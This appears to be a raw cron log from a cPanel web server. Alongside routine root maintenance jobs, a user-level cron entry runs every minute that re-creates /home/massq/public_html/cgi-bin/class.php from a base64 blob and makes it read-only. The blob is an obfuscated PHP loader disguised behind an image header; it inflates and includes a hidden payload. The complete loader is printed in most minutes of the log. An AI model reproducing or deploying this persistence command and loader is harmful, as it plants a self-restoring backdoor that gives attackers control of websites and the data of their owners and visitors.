Sep  5 11:12:01 server CROND[27224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:12:01 server CROND[27226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:12:01 server CROND[27225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:13:01 server CROND[27682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:13:01 server CROND[27684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:13:01 server CROND[27685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:14:01 server CROND[28060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:14:01 server CROND[28061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:14:01 server CROND[28062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:15:01 server CROND[28441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:15:01 server CROND[28444]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:15:01 server CROND[28443]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:15:01 server CROND[28448]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:15:01 server CROND[28445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:15:01 server CROND[28446]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:15:01 server CROND[28447]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 11:15:01 server CROND[28449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:16:01 server CROND[29353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:16:01 server CROND[29355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:16:01 server CROND[29356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:17:01 server CROND[29761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:17:01 server CROND[29762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:17:01 server CROND[29763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:18:01 server CROND[30259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:18:01 server CROND[30260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:18:01 server CROND[30261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:19:01 server CROND[30654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:19:01 server CROND[30655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:19:01 server CROND[30656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:20:01 server CROND[31043]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:20:01 server CROND[31044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:20:01 server CROND[31049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:20:01 server CROND[31048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:20:01 server CROND[31052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:20:01 server CROND[31057]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:20:01 server CROND[31053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:20:01 server CROND[31055]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:20:01 server CROND[31058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:21:01 server CROND[31877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:21:01 server CROND[31879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:21:01 server CROND[31878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:22:01 server CROND[32255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:22:01 server CROND[32256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:22:01 server CROND[32257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:23:02 server CROND[32724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:23:02 server CROND[32725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:23:02 server CROND[32726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:24:01 server CROND[658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
